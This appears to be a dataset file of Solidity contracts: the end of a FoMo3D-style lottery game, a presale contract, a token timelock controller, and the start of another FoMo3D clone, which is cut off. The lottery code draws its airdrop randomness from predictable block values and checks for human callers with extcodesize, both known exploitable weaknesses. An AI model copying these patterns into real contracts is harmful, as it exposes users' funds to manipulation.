_eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _team, _eventData_);
_eventData_ = distributeInternal(_rID, _pID, _eth, _team, _keys, _eventData_);
endTx(_pID, _team, _eth, _keys, _eventData_);
}
}
function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast)
private
view
returns(uint256)
{
return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) );
}
function calcKeysReceived(uint256 _rID, uint256 _eth)
public
view
returns(uint256)
{
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].eth).keysRec(_eth) );
else
return ( (_eth).keys() );
}
function iWantXKeys(uint256 _keys)
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) );
else
return ( (_keys).eth() );
}
function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if (pIDxAddr_[_addr] != _pID)
pIDxAddr_[_addr] = _pID;
if (pIDxName_[_name] != _pID)
pIDxName_[_name] = _pID;
if (plyr_[_pID].addr != _addr)
plyr_[_pID].addr = _addr;
if (plyr_[_pID].name != _name)
plyr_[_pID].name = _name;
if (plyr_[_pID].laff != _laff)
plyr_[_pID].laff = _laff;
if (plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function receivePlayerNameList(uint256 _pID, bytes32 _name)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if(plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function determinePID(F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
uint256 _pID = pIDxAddr_[msg.sender];
if (_pID == 0)
{
_pID = PlayerBook.getPlayerID(msg.sender);
bytes32 _name = PlayerBook.getPlayerName(_pID);
uint256 _laff = PlayerBook.getPlayerLAff(_pID);
pIDxAddr_[msg.sender] = _pID;
plyr_[_pID].addr = msg.sender;
if (_name != "")
{
pIDxName_[_name] = _pID;
plyr_[_pID].name = _name;
plyrNames_[_pID][_name] = true;
}
if (_laff != 0 && _laff != _pID)
plyr_[_pID].laff = _laff;
_eventData_.compressedData = _eventData_.compressedData + 1;
}
return (_eventData_);
}
function verifyTeam(uint256 _team)
private
pure
returns (uint256)
{
if (_team < 0 || _team > 3)
return(2);
else
return(_team);
}
function managePlayer(uint256 _pID, F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
if (plyr_[_pID].lrnd != 0)
updateGenVault(_pID, plyr_[_pID].lrnd);
plyr_[_pID].lrnd = rID_;
_eventData_.compressedData = _eventData_.compressedData + 10;
return(_eventData_);
}
function endRound(F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
uint256 _rID = rID_;
uint256 _winPID = round_[_rID].plyr;
uint256 _winTID = round_[_rID].team;
uint256 _pot = round_[_rID].pot;
uint256 _win = (_pot.mul(48)) / 100;
uint256 _com = (_pot / 50);
uint256 _gen = (_pot.mul(potSplit_[_winTID].gen)) / 100;
uint256 _p3d = (_pot.mul(potSplit_[_winTID].p3d)) / 100;
uint256 _res = (((_pot.sub(_win)).sub(_com)).sub(_gen)).sub(_p3d);
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000);
if (_dust > 0)
{
_gen = _gen.sub(_dust);
_res = _res.add(_dust);
}
plyr_[_winPID].win = _win.add(plyr_[_winPID].win);
_com = _com.add(_p3d.sub(_p3d / 2));
coin_base.transfer(_com);
_res = _res.add(_p3d / 2);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
_eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000);
_eventData_.winnerAddr = plyr_[_winPID].addr;
_eventData_.winnerName = plyr_[_winPID].name;
_eventData_.amountWon = _win;
_eventData_.genAmount = _gen;
_eventData_.P3DAmount = _p3d;
_eventData_.newPot = _res;
rID_++;
_rID++;
round_[_rID].strt = now;
round_[_rID].end = now.add(rndInit_).add(rndGap_);
round_[_rID].pot = _res;
return(_eventData_);
}
function updateGenVault(uint256 _pID, uint256 _rIDlast)
private
{
uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast);
if (_earnings > 0)
{
plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen);
plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask);
}
}
function updateTimer(uint256 _keys, uint256 _rID)
private
{
uint256 _now = now;
uint256 _newTime;
if (_now > round_[_rID].end && round_[_rID].plyr == 0)
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now);
else
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end);
if (_newTime < (rndMax_).add(_now))
round_[_rID].end = _newTime;
else
round_[_rID].end = rndMax_.add(_now);
}
function airdrop()
private
view
returns(bool)
{
uint256 seed = uint256(keccak256(abi.encodePacked(
(block.timestamp).add
(block.difficulty).add
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add
(block.gaslimit).add
((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add
(block.number)
)));
if((seed - ((seed / 1000) * 1000)) < airDropTracker_)
return(true);
else
return(false);
}
function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
returns(F3Ddatasets.EventReturns)
{
uint256 _p1 = _eth / 100;
uint256 _com = _eth / 50;
_com = _com.add(_p1);
uint256 _p3d;
if (!address(coin_base).call.value(_com)())
{
_p3d = _com;
_com = 0;
}
uint256 _aff = _eth / 10;
if (_affID != _pID && plyr_[_affID].name != '') {
plyr_[_affID].aff = _aff.add(plyr_[_affID].aff);
emit F3Devents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _rID, _pID, _aff, now);
} else {
_p3d = _p3d.add(_aff);
}
_p3d = _p3d.add((_eth.mul(fees_[_team].p3d)) / (100));
if (_p3d > 0)
{
uint256 _potAmount = _p3d / 2;
coin_base.transfer(_p3d.sub(_potAmount));
round_[_rID].pot = round_[_rID].pot.add(_potAmount);
_eventData_.P3DAmount = _p3d.add(_eventData_.P3DAmount);
}
return(_eventData_);
}
function potSwap()
external
payable
{
uint256 _rID = rID_ + 1;
round_[_rID].pot = round_[_rID].pot.add(msg.value);
emit F3Devents.onPotSwapDeposit(_rID, msg.value);
}
function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_)
private
returns(F3Ddatasets.EventReturns)
{
uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100;
uint256 _air = (_eth / 100);
airDropPot_ = airDropPot_.add(_air);
_eth = _eth.sub(((_eth.mul(14)) / 100).add((_eth.mul(fees_[_team].p3d)) / 100));
uint256 _pot = _eth.sub(_gen);
uint256 _dust = updateMasks(_rID, _pID, _gen, _keys);
if (_dust > 0)
_gen = _gen.sub(_dust);
round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot);
_eventData_.genAmount = _gen.add(_eventData_.genAmount);
_eventData_.potAmount = _pot;
return(_eventData_);
}
function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys)
private
returns(uint256)
{
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000);
plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask);
return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000)));
}
function withdrawEarnings(uint256 _pID)
private
returns(uint256)
{
updateGenVault(_pID, plyr_[_pID].lrnd);
uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff);
if (_earnings > 0)
{
plyr_[_pID].win = 0;
plyr_[_pID].gen = 0;
plyr_[_pID].aff = 0;
}
return(_earnings);
}
function endTx(uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_)
private
{
_eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000);
emit F3Devents.onEndTx
(
_eventData_.compressedData,
_eventData_.compressedIDs,
plyr_[_pID].name,
msg.sender,
_eth,
_keys,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount,
_eventData_.potAmount,
airDropPot_
);
}
bool public activated_ = false;
function activate()
public
{
require(msg.sender == admin, "only admin can activate");
require(activated_ == false, "FOMO Short already activated");
activated_ = true;
rID_ = 1;
round_[1].strt = now + rndExtra_ - rndGap_;
round_[1].end = now + rndInit_ + rndExtra_;
}
}
library F3Ddatasets {
struct EventReturns {
uint256 compressedData;
uint256 compressedIDs;
address winnerAddr;
bytes32 winnerName;
uint256 amountWon;
uint256 newPot;
uint256 P3DAmount;
uint256 genAmount;
uint256 potAmount;
}
struct Player {
address addr;
bytes32 name;
uint256 win;
uint256 gen;
uint256 aff;
uint256 lrnd;
uint256 laff;
}
struct PlayerRounds {
uint256 eth;
uint256 keys;
uint256 mask;
uint256 ico;
}
struct Round {
uint256 plyr;
uint256 team;
uint256 end;
bool ended;
uint256 strt;
uint256 keys;
uint256 eth;
uint256 pot;
uint256 mask;
uint256 ico;
uint256 icoGen;
uint256 icoAvg;
}
struct TeamFee {
uint256 gen;
uint256 p3d;
}
struct PotSplit {
uint256 gen;
uint256 p3d;
}
}
library F3DKeysCalcShort {
using SafeMath for *;
function keysRec(uint256 _curEth, uint256 _newEth)
internal
pure
returns (uint256)
{
return(keys((_curEth).add(_newEth)).sub(keys(_curEth)));
}
function ethRec(uint256 _curKeys, uint256 _sellKeys)
internal
pure
returns (uint256)
{
return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys))));
}
function keys(uint256 _eth)
internal
pure
returns(uint256)
{
return ((((((_eth).mul(1000000000000000000)).mul(312500000000000000000000000)).add(5624988281256103515625000000000000000000000000000000000000000000)).sqrt()).sub(74999921875000000000000000000000)) / (156250000);
}
function eth(uint256 _keys)
internal
pure
returns(uint256)
{
return ((78125000).mul(_keys.sq()).add(((149999843750000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq());
}
}
interface PlayerBookInterface {
function getPlayerID(address _addr) external returns (uint256);
function getPlayerName(uint256 _pID) external view returns (bytes32);
function getPlayerLAff(uint256 _pID) external view returns (uint256);
function getPlayerAddr(uint256 _pID) external view returns (address);
function getNameFee() external view returns (uint256);
function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256);
}
library NameFilter {
function nameFilter(string _input)
internal
pure
returns(bytes32)
{
bytes memory _temp = bytes(_input);
uint256 _length = _temp.length;
require (_length <= 32 && _length > 0, "string must be between 1 and 32 characters");
require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, "string cannot start or end with space");
if (_temp[0] == 0x30)
{
require(_temp[1] != 0x78, "string cannot start with 0x");
require(_temp[1] != 0x58, "string cannot start with 0X");
}
bool _hasNonNumber;
for (uint256 i = 0; i < _length; i++)
{
if (_temp[i] > 0x40 && _temp[i] < 0x5b)
{
_temp[i] = byte(uint(_temp[i]) + 32);
if (_hasNonNumber == false)
_hasNonNumber = true;
} else {
require
(
_temp[i] == 0x20 ||
(_temp[i] > 0x60 && _temp[i] < 0x7b) ||
(_temp[i] > 0x2f && _temp[i] < 0x3a),
"string contains invalid characters"
);
if (_temp[i] == 0x20)
require( _temp[i+1] != 0x20, "string cannot contain consecutive spaces");
if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39))
_hasNonNumber = true;
}
}
require(_hasNonNumber == true, "string cannot be only numbers");
bytes32 _ret;
assembly {
_ret := mload(add(_temp, 32))
}
return (_ret);
}
}
library SafeMath {
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "SafeMath mul failed");
return c;
}
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
require(b <= a, "SafeMath sub failed");
return a - b;
}
function add(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
c = a + b;
require(c >= a, "SafeMath add failed");
return c;
}
function sqrt(uint256 x)
internal
pure
returns (uint256 y)
{
uint256 z = ((add(x,1)) / 2);
y = x;
while (z < y)
{
y = z;
z = ((add((x / z),z)) / 2);
}
}
function sq(uint256 x)
internal
pure
returns (uint256)
{
return (mul(x,x));
}
function pwr(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
if (x==0)
return (0);
else if (y==0)
return (1);
else
{
uint256 z = x;
for (uint256 i=1; i < y; i++)
z = mul(z,x);
return (z);
}
}
} | 0 | 1,481 |
pragma solidity ^0.4.6;
contract Presale {
string public constant VERSION = "0.1.3-beta";
uint public constant PRESALE_START = 3116646;
uint public constant PRESALE_END = 3116686;
uint public constant WITHDRAWAL_END = 3116726;
address public constant OWNER = 0xA4769870EB607A4fDaBFfbcC3AD066c8213bD87D;
uint public constant MIN_TOTAL_AMOUNT_TO_RECEIVE_ETH = 1;
uint public constant MAX_TOTAL_AMOUNT_TO_RECEIVE_ETH = 5;
uint public constant MIN_ACCEPTED_AMOUNT_FINNEY = 1;
string[5] private stateNames = ["BEFORE_START", "PRESALE_RUNNING", "WITHDRAWAL_RUNNING", "REFUND_RUNNING", "CLOSED" ];
enum State { BEFORE_START, PRESALE_RUNNING, WITHDRAWAL_RUNNING, REFUND_RUNNING, CLOSED }
uint public total_received_amount;
mapping (address => uint) public balances;
uint private constant MIN_TOTAL_AMOUNT_TO_RECEIVE = MIN_TOTAL_AMOUNT_TO_RECEIVE_ETH * 1 ether;
uint private constant MAX_TOTAL_AMOUNT_TO_RECEIVE = MAX_TOTAL_AMOUNT_TO_RECEIVE_ETH * 1 ether;
uint private constant MIN_ACCEPTED_AMOUNT = MIN_ACCEPTED_AMOUNT_FINNEY * 1 finney;
function Presale () validSetupOnly() { }
function ()
payable
noReentrancy
{
State state = currentState();
if (state == State.PRESALE_RUNNING) {
receiveFunds();
} else if (state == State.REFUND_RUNNING) {
sendRefund();
} else {
throw;
}
}
function refund() external
inState(State.REFUND_RUNNING)
noReentrancy
{
sendRefund();
}
function withdrawFunds() external
inState(State.WITHDRAWAL_RUNNING)
onlyOwner
noReentrancy
{
if (this.balance > 0) {
if (!OWNER.send(this.balance)) throw;
}
}
function state() external constant
returns (string)
{
return stateNames[ uint(currentState()) ];
}
function sendRefund() private tokenHoldersOnly {
var amount_to_refund = balances[msg.sender] + msg.value;
balances[msg.sender] = 0;
if (!msg.sender.send(amount_to_refund)) throw;
}
function receiveFunds() private notTooSmallAmountOnly {
if (total_received_amount + msg.value > MAX_TOTAL_AMOUNT_TO_RECEIVE) {
var change_to_return = total_received_amount + msg.value - MAX_TOTAL_AMOUNT_TO_RECEIVE;
if (!msg.sender.send(change_to_return)) throw;
var acceptable_remainder = MAX_TOTAL_AMOUNT_TO_RECEIVE - total_received_amount;
balances[msg.sender] += acceptable_remainder;
total_received_amount += acceptable_remainder;
} else {
balances[msg.sender] += msg.value;
total_received_amount += msg.value;
}
}
function currentState() private constant returns (State) {
if (block.number < PRESALE_START) {
return State.BEFORE_START;
} else if (block.number <= PRESALE_END && total_received_amount < MAX_TOTAL_AMOUNT_TO_RECEIVE) {
return State.PRESALE_RUNNING;
} else if (block.number <= WITHDRAWAL_END && total_received_amount >= MIN_TOTAL_AMOUNT_TO_RECEIVE) {
return State.WITHDRAWAL_RUNNING;
} else if (this.balance > 0){
return State.REFUND_RUNNING;
} else {
return State.CLOSED;
}
}
modifier inState(State state) {
if (state != currentState()) throw;
_;
}
modifier validSetupOnly() {
if ( OWNER == 0x0
|| PRESALE_START == 0
|| PRESALE_END == 0
|| WITHDRAWAL_END ==0
|| PRESALE_START <= block.number
|| PRESALE_START >= PRESALE_END
|| PRESALE_END >= WITHDRAWAL_END
|| MIN_TOTAL_AMOUNT_TO_RECEIVE > MAX_TOTAL_AMOUNT_TO_RECEIVE )
throw;
_;
}
modifier onlyOwner(){
if (msg.sender != OWNER) throw;
_;
}
modifier tokenHoldersOnly(){
if (balances[msg.sender] == 0) throw;
_;
}
modifier notTooSmallAmountOnly(){
if (msg.value < MIN_ACCEPTED_AMOUNT) throw;
_;
}
bool private locked = false;
modifier noReentrancy() {
if (locked) throw;
locked = true;
_;
locked = false;
}
} | 0 | 777 |
pragma solidity ^0.4.23;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract TokenTimelockController is Ownable {
using SafeMath for uint;
struct TokenTimelock {
uint256 amount;
uint256 releaseTime;
bool released;
bool revocable;
bool revoked;
}
event TokenTimelockCreated(
address indexed beneficiary,
uint256 releaseTime,
bool revocable,
uint256 amount
);
event TokenTimelockRevoked(
address indexed beneficiary
);
event TokenTimelockBeneficiaryChanged(
address indexed previousBeneficiary,
address indexed newBeneficiary
);
event TokenTimelockReleased(
address indexed beneficiary,
uint256 amount
);
uint256 public constant TEAM_LOCK_DURATION_PART1 = 1 * 365 days;
uint256 public constant TEAM_LOCK_DURATION_PART2 = 2 * 365 days;
uint256 public constant INVESTOR_LOCK_DURATION = 1 hours;
mapping (address => TokenTimelock[]) tokenTimeLocks;
ERC20 public token;
address public crowdsale;
bool public activated;
constructor(ERC20 _token) public {
token = _token;
}
modifier onlyCrowdsale() {
require(msg.sender == crowdsale);
_;
}
modifier onlyWhenActivated() {
require(activated);
_;
}
modifier onlyValidTokenTimelock(address _beneficiary, uint256 _id) {
require(_beneficiary != address(0));
require(_id < tokenTimeLocks[_beneficiary].length);
require(!tokenTimeLocks[_beneficiary][_id].revoked);
_;
}
function setCrowdsale(address _crowdsale) external onlyOwner {
require(_crowdsale != address(0));
crowdsale = _crowdsale;
}
function activate() external onlyCrowdsale {
activated = true;
}
function createInvestorTokenTimeLock(
address _beneficiary,
uint256 _amount,
uint256 _start,
address _tokenHolder
) external onlyCrowdsale returns (bool)
{
require(_beneficiary != address(0) && _amount > 0);
require(_tokenHolder != address(0));
TokenTimelock memory tokenLock = TokenTimelock(
_amount,
_start.add(INVESTOR_LOCK_DURATION),
false,
false,
false
);
tokenTimeLocks[_beneficiary].push(tokenLock);
require(token.transferFrom(_tokenHolder, this, _amount));
emit TokenTimelockCreated(
_beneficiary,
tokenLock.releaseTime,
false,
_amount);
return true;
}
function createTeamTokenTimeLock(
address _beneficiary,
uint256 _amount,
uint256 _start,
address _tokenHolder
) external onlyOwner returns (bool)
{
require(_beneficiary != address(0) && _amount > 0);
require(_tokenHolder != address(0));
uint256 amount = _amount.div(2);
TokenTimelock memory tokenLock1 = TokenTimelock(
amount,
_start.add(TEAM_LOCK_DURATION_PART1),
false,
true,
false
);
tokenTimeLocks[_beneficiary].push(tokenLock1);
TokenTimelock memory tokenLock2 = TokenTimelock(
amount,
_start.add(TEAM_LOCK_DURATION_PART2),
false,
true,
false
);
tokenTimeLocks[_beneficiary].push(tokenLock2);
require(token.transferFrom(_tokenHolder, this, _amount));
emit TokenTimelockCreated(
_beneficiary,
tokenLock1.releaseTime,
true,
amount);
emit TokenTimelockCreated(
_beneficiary,
tokenLock2.releaseTime,
true,
amount);
return true;
}
function revokeTokenTimelock(
address _beneficiary,
uint256 _id)
external onlyWhenActivated onlyOwner onlyValidTokenTimelock(_beneficiary, _id)
{
require(tokenTimeLocks[_beneficiary][_id].revocable);
require(!tokenTimeLocks[_beneficiary][_id].released);
TokenTimelock storage tokenLock = tokenTimeLocks[_beneficiary][_id];
tokenLock.revoked = true;
require(token.transfer(owner, tokenLock.amount));
emit TokenTimelockRevoked(_beneficiary);
}
function getTokenTimelockCount(address _beneficiary) view external returns (uint) {
return tokenTimeLocks[_beneficiary].length;
}
function getTokenTimelockDetails(address _beneficiary, uint256 _id) view external returns (
uint256 _amount,
uint256 _releaseTime,
bool _released,
bool _revocable,
bool _revoked)
{
require(_id < tokenTimeLocks[_beneficiary].length);
_amount = tokenTimeLocks[_beneficiary][_id].amount;
_releaseTime = tokenTimeLocks[_beneficiary][_id].releaseTime;
_released = tokenTimeLocks[_beneficiary][_id].released;
_revocable = tokenTimeLocks[_beneficiary][_id].revocable;
_revoked = tokenTimeLocks[_beneficiary][_id].revoked;
}
function changeBeneficiary(uint256 _id, address _newBeneficiary) external onlyWhenActivated onlyValidTokenTimelock(msg.sender, _id) {
tokenTimeLocks[_newBeneficiary].push(tokenTimeLocks[msg.sender][_id]);
if (tokenTimeLocks[msg.sender].length > 1) {
tokenTimeLocks[msg.sender][_id] = tokenTimeLocks[msg.sender][tokenTimeLocks[msg.sender].length.sub(1)];
delete(tokenTimeLocks[msg.sender][tokenTimeLocks[msg.sender].length.sub(1)]);
}
tokenTimeLocks[msg.sender].length--;
emit TokenTimelockBeneficiaryChanged(msg.sender, _newBeneficiary);
}
function release(uint256 _id) external {
releaseFor(msg.sender, _id);
}
function releaseFor(address _beneficiary, uint256 _id) public onlyWhenActivated onlyValidTokenTimelock(_beneficiary, _id) {
TokenTimelock storage tokenLock = tokenTimeLocks[_beneficiary][_id];
require(!tokenLock.released);
require(block.timestamp >= tokenLock.releaseTime);
tokenLock.released = true;
require(token.transfer(_beneficiary, tokenLock.amount));
emit TokenTimelockReleased(_beneficiary, tokenLock.amount);
}
} | 0 | 799 |
pragma solidity ^0.4.24;
contract F3Devents {
event onNewName
(
uint256 indexed playerID,
address indexed playerAddress,
bytes32 indexed playerName,
bool isNewPlayer,
uint256 affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 amountPaid,
uint256 timeStamp
);
event onEndTx
(
uint256 compressedData,
uint256 compressedIDs,
bytes32 playerName,
address playerAddress,
uint256 ethIn,
uint256 keysBought,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount,
uint256 potAmount,
uint256 airDropPot
);
event onWithdraw
(
uint256 indexed playerID,
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 timeStamp
);
event onWithdrawAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onBuyAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethIn,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onReLoadAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onAffiliatePayout
(
uint256 indexed affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 indexed roundID,
uint256 indexed buyerID,
uint256 amount,
uint256 timeStamp
);
event onPotSwapDeposit
(
uint256 roundID,
uint256 amountAddedToPot
);
}
contract modularShort is F3Devents {}
contract FoMo3Dshort is modularShort {
using SafeMath for *;
using NameFilter for string;
using F3DKeysCalcShort for uint256;
PlayerBookInterface constant private PlayerBook = PlayerBookInterface(0xa6407c2C318F5594e1d711E48C62F593D7Ad73D6);
address private admin = msg.sender;
string constant public name = "FOMO NOW";
string constant public symbol = "FNW";
uint256 private rndExtra_ = 30 minutes;
uint256 private rndGap_ = 30 minutes;
uint256 constant private rndInit_ = 30 minutes;
uint256 constant private rndInc_ = 10 seconds;
uint256 constant private rndMax_ = 1 hours;
uint256 public airDropPot_;
uint256 public airDropTracker_ = 0;
uint256 public rID_;
mapping (address => uint256) public pIDxAddr_;
mapping (bytes32 => uint256) public pIDxName_;
mapping (uint256 => F3Ddatasets.Player) public plyr_;
mapping (uint256 => mapping (uint256 => F3Ddatasets.PlayerRounds)) public plyrRnds_;
mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_;
mapping (uint256 => F3Ddatasets.Round) public round_;
mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_;
mapping (uint256 => F3Ddatasets.TeamFee) public fees_;
mapping (uint256 => F3Ddatasets.PotSplit) public potSplit_;
constructor()
public
{
fees_[0] = F3Ddatasets.TeamFee(32,0);
fees_[1] = F3Ddatasets.TeamFee(45,0);
fees_[2] = F3Ddatasets.TeamFee(62,0);
fees_[3] = F3Ddatasets.TeamFee(47,0);
potSplit_[0] = F3Ddatasets.PotSplit(47,0);
potSplit_[1] = F3Ddatasets.PotSplit(47,0);
potSplit_[2] = F3Ddatasets.PotSplit(62,0);
potSplit_[3] = F3Ddatasets.PotSplit(62,0);
}
modifier isActivated() {
require(activated_ == true, "its not ready yet. check ?eta in discord");
_;
}
modifier isHuman() {
address _addr = msg.sender;
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "sorry humans only");
_;
}
modifier isWithinLimits(uint256 _eth) {
require(_eth >= 1000000000, "pocket lint: not a valid currency");
require(_eth <= 100000000000000000000000, "no vitalik, no");
_;
}
function()
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
buyCore(_pID, plyr_[_pID].laff, 2, _eventData_);
}
function buyXid(uint256 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
buyCore(_pID, _affCode, _team, _eventData_);
}
function buyXaddr(address _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function buyXname(bytes32 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function reLoadXid(uint256 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
